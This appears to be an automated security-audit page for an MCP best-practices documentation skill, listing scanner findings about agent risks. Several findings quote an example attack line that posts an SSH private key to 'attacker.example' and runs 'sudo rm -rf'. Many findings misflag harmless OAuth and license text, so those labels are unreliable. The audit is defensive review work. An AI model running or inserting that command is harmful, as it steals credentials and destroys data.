Ae1
High
- Category
- analysis-evasion
- Confidence
- 100% confidence
- Finding
Referenced artifact was not completely inspected
- Content
md > For comprehensive migration guide with all breaking changes and before/after code: see `references/v2-migration.md`
Security audit
mcp-best-practices
Security checks for vulnerabilities and agentic risk
Overview
This is a documentation-only MCP best-practices skill; the flagged risky strings are defensive examples or protocol guidance, not hidden behavior.
Installers should treat this as a technical reference skill. It is suitable for MCP server work, but any npm/npx or migration commands shown in examples should be reviewed, version-pinned where practical, and run only when they match the user's project and trust boundary.
Vulnerability Patterns
- Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
- Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
- Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
- Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
- Unauthorized Access and Privilege EscalationObtains permissions beyond the task's legitimate needs
Vulnerability Patterns
- Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
- Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access
- Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
- Tool MisuseTool Parameter Abuse, Chaining Abuse, Unsafe Defaults
- Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Findings (29)
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
-> Returns endpoints (authorize, token, registration) Client -> Auth Server: Register (CIMD, DCR, or pre-registered) Client -> Browser: Authorization code flow + PKCE + resource parameter Auth Server -> Client: Access token Client -> MCP Server: Request with Bearer token
text
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 90% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
Example malicious commands:
bash npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://attacker.example/exfil sudo rm -rf /important/system/files && echo "MCP server installed!"
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
Example malicious commands:
bash npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://attacker.example/exfil sudo rm -rf /important/system/files && echo "MCP server installed!"Mitigation (for MCP clients):
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 90% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
Example malicious commands:
bash npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://attacker.example/exfil sudo rm -rf /important/system/files && echo "MCP server installed!"Mitigation (for MCP clients):
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md ### Do - **Use tested auth libraries** - Keycloak, Auth0, Ory Hydra, etc. Don't roll your own token validation - **Issue short-lived access tokens** - reduce blast radius of leaks - **Validate audience** on every token - MUST match your server's canonical URI - **Enforce HTTPS in production** - HTTP only for localhost development - **Return proper `WWW-Authenticate` challenges** - include `Bearer`, `realm`, `resource_metadata`, and `scope`
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md Two failure modes seen in the wild when wiring up OAuth providers (Better-Auth, Auth0, Keycloak, etc.) for MCP: 1. **Collapsed audience**: serving REST + MCP from the same audience defeats RFC 8707's resource-bound model. Use distinct `resource` URIs per protected surface. 2. **Opaque vs JWT compatibility**: some providers (Better-Auth, in particular) issue **opaque** access tokens when the `resource` parameter is absent from the token request. Many MCP middlewares assume JWTs and fail validation (e.g. `verifyAccessToken(jwksUrl)` throws → 401). Either require the `resource` parameter at the AS, or accept the introspection path. ### Token Endpoint Failures Masquerade as "Re-authorize" (ops gotcha)
Credential Access
High
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.
- Content
md ### DPoP: sender-constrained tokens (RFC 9449 / SEP-1932) Bearer tokens are bearer tokens - anything that steals one can use it. DPoP binds an access token to a client-held key pair, so a stolen token is useless without the private key. It is the Agent Identity WG's headline item on the 2026-08-22 roadmap: *"Finalize the specification for Demonstrating Proof of Possession (DPoP) and focus on getting widespread adoption."* Client-side support shipped in `@modelcontextprotocol/client` **2.1.0** (exported from the package root, no subpath): a client opts in by implementing `OAuthClientProvider.dpop()` returning a `DpopSession` (helpers `generateDpopKeyPair`, `accessTokenHash`, `isDpopNonceChallenge`). Nothing is required of your server yet, and none of it is normative in 2026-07-28. What it changes today is a design decision: if you are choosing how to bind credentials now, DPoP is the direction of travel, so avoid architectures that assume a plain bearer token is the permanent shape - notably anything that copies tokens between components.
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 80% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
|-- GET /mcp ---------------------->| (optional: open SSE stream for server notifications) |<-- 200 text/event-stream ---------| | | |-- DELETE /mcp ------------------->| (terminate session) |<-- 200 ---------------------------|
text
Tool Parameter Abuse
High
- Category
- Tool Misuse
- Confidence
- 80% confidence
- Finding
Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).
- Content
md ### Session Termination - **Server terminates**: Responds with HTTP 404 to any request with the session ID. Client must re-initialize. - **Client terminates**: Sends `DELETE /mcp` with `MCP-Session-Id`. Server cleans up resources. ## HTTP/2 Gotchas
Rp1
Medium
- Category
- MCP Rug Pull
- Confidence
- 70% confidence
- Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
- Content
Unrestricted Tool Access
Medium
- Category
- Excessive Agency
- Confidence
- 85% confidence
- Finding
Skill grants unrestricted tool access without appropriate constraints. An agent with unfettered tool access can perform arbitrary actions including file modification, network requests, and code execution.
- Content
md - **Security floor is sdk >= 1.32.0 / server >= 2.3.0** - see the threat table above. - **Register before `connect()` on v1.** Later registration throws on every released v1 ([#893](https://github.com/modelcontextprotocol/typescript-sdk/issues/893); the v1 fix is merged but unreleased after 1.32.1). On v2 it works once the capability is declared in the constructor's `capabilities`. - **Client AJV strict rejects unstripped `structuredContent` extras** - `.parse()` upstream data first, or `.passthrough()` for intentional extras. - **v1 stamps every tool schema `"$schema": "http://json-schema.org/draft-07/schema#"`** (still true on 1.32.1), and a strict 2020-12 client rejects the whole tool: *"JSON Schema declares an unsupported dialect ... The default validator supports JSON Schema 2020-12 only."* One bad schema can take the server's other tools down with it in clients that drop the whole `tools/list`. v2 emits 2020-12. Open ([#2721](https://github.com/modelcontextprotocol/typescript-sdk/issues/2721), canonical [#2084](https://github.com/modelcontextprotocol/typescript-sdk/issues/2084)); `@modelcontextprotocol/inspector` >= 2.4.0 flags it for you. - **Reusing a server or stateless transport is a hard error since `server@2.3.0`** (a minor release). `createMcpHandler(() => sharedServer)` answers overlapping requests with `500` / `-32603`; a reused stateless transport throws on the second request. Through the Node wrapper it is a bare, empty `500` with nothing in your logs ([#2704](https://github.com/modelcontextprotocol/typescript-sdk/issues/2704)). Pass a factory that builds the server. > Full table (statuses, zod 3->4 dropping `additionalProperties`, `refine`/`superRefine` never running, transport-closure stack overflow, HTTP/2, raw JSON Schema, `z.transform()`, ReDoS, the 2.1-2.3 fixes): see `references/sdk-bugs.md`
Unrestricted Tool Access
Medium
- Category
- Excessive Agency
- Confidence
- 82% confidence
- Finding
The documentation states that the app can
call any tool on the MCP server, which is risky in an MCP Apps context because the UI runs active code and communicates over postMessage. If a rendered app is compromised or overly trusted, unrestricted tool invocation can let UI-originated actions reach sensitive server-side capabilities, expanding the blast radius from XSS/UI compromise into backend tool abuse.- Content
md |--------|---------| | `app.connect()` | Establish postMessage communication with host (call once on init) | | `app.ontoolresult` | Callback when host pushes a tool result to the app | | `app.callServerTool({ name, arguments })` | Call any tool on the MCP server | | `app.readServerResource({ uri })` / `listServerResources()` | Resource access from the view | | `app.sendLog(params)` | Emit a `LoggingMessageNotification` to the host | | `app.openLink(params)` | Request the host to open a URL |
Rp1
Medium
- Category
- MCP Rug Pull
- Confidence
- 70% confidence
- Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
- Content
Natural-Language Policy Violations
Medium
- Category
- Not specified by scanner
- Confidence
- 84% confidence
- Finding
The text prescribes an exact warning string in English: warn explicitly that running an MCP server is equivalent to running an arbitrary process with the user's privileges. For a general reference document, this reads as a fixed-language requirement rather than offering localized or user-selected language, which can violate language/locale policy guidance.
- Content
External Transmission
Medium
- Category
- Data Exfiltration
- Confidence
- 60% confidence
- Finding
Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.
- Content
Example malicious commands:
bash npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://attacker.example/exfil sudo rm -rf /important/system/files && echo "MCP server installed!"
Rp1
Medium
- Category
- MCP Rug Pull
- Confidence
- 70% confidence
- Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
- Content
Sudo/Root Execution
Medium
- Category
- Privilege Escalation
- Confidence
- 70% confidence
- Finding
Commands invoke sudo or root privileges. Verify this elevated access is necessary and justified.
- Content
Example malicious commands:
bash npx malicious-package && curl -X POST -d @~/.ssh/id_rsa https://attacker.example/exfil sudo rm -rf /important/system/files && echo "MCP server installed!"Mitigation (for MCP clients):
Autonomous Decision Making
Medium
- Category
- Excessive Agency
- Confidence
- 85% confidence
- Finding
Skill enables autonomous high-impact decisions without human-in-the-loop verification. Critical operations (destructive commands, financial transactions, data deletion) should require explicit user confirmation.
- Content
md - **Don't log credentials** - never log Authorization headers, tokens, codes, or secrets - **Don't reuse server credentials for user flows** - separate app vs. resource server secrets - **Don't accept generic audiences** (`api`, `*`) - require exact server URI match - **Don't skip consent for DCR clients** - unauthenticated DCR means anyone can register - **Don't tie authorization to session IDs** - treat `Mcp-Session-Id` as untrusted input - **Don't accept tokens from other realms** - pin to a single issuer unless explicitly multi-tenant - **Don't leak error details** - return generic messages to clients, log detailed reasons internally
Rp1
Medium
- Category
- MCP Rug Pull
- Confidence
- 70% confidence
- Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
- Content
Rp1
Medium
- Category
- MCP Rug Pull
- Confidence
- 70% confidence
- Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
- Content
Rp1
Medium
- Category
- MCP Rug Pull
- Confidence
- 70% confidence
- Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
- Content
Rp1
Medium
- Category
- MCP Rug Pull
- Confidence
- 70% confidence
- Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
- Content
Rp1
Medium
- Category
- MCP Rug Pull
- Confidence
- 70% confidence
- Finding
npx commands without a version suffix (e.g. @1.0.0) create a rug-pull risk if the upstream server is compromised and publishes a malicious update.
- Content
Scope Creep
Low
- Category
- Excessive Agency
- Confidence
- 70% confidence
- Finding
Skill's behavior or capabilities extend beyond its stated purpose. Scope creep allows an agent to perform actions unrelated to its documented functionality, increasing the attack surface.
- Content
text permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or
Static analysis
No suspicious patterns detected.